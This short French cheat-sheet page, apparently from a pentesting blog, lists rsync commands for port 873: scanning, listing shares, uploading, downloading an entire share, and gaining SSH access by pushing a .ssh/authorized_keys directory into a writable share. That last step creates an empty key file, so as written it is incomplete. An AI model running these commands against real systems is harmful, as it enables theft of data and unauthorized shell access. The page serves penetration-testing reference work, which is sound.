> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/hacking-protocols/rsync-port-873.md).

# Rsync - port 873

## Scan

*`$ nmap -sV -p873 <target IP>`*

## Lister les partages

*`$ rsync <target IP>::`*

## Lister le contenu d'un partage

*`$ rsync -av --list-only rsync://<target IP>/<share>`*

## Uploader un fichier

*`$ rsync file <target IP>::<share>`*

## Télécharger tous les fichiers d'un partage

*`$ rsync -av rsync://<target IP>/<share> ./rsyn_shared`*

## Obtention d'un shell ssh

```
$ mkdir .ssh && touch .ssh/authorized_keys
$ rsync -av .ssh/ rsync://<target IP>/<share>/.ssh
```
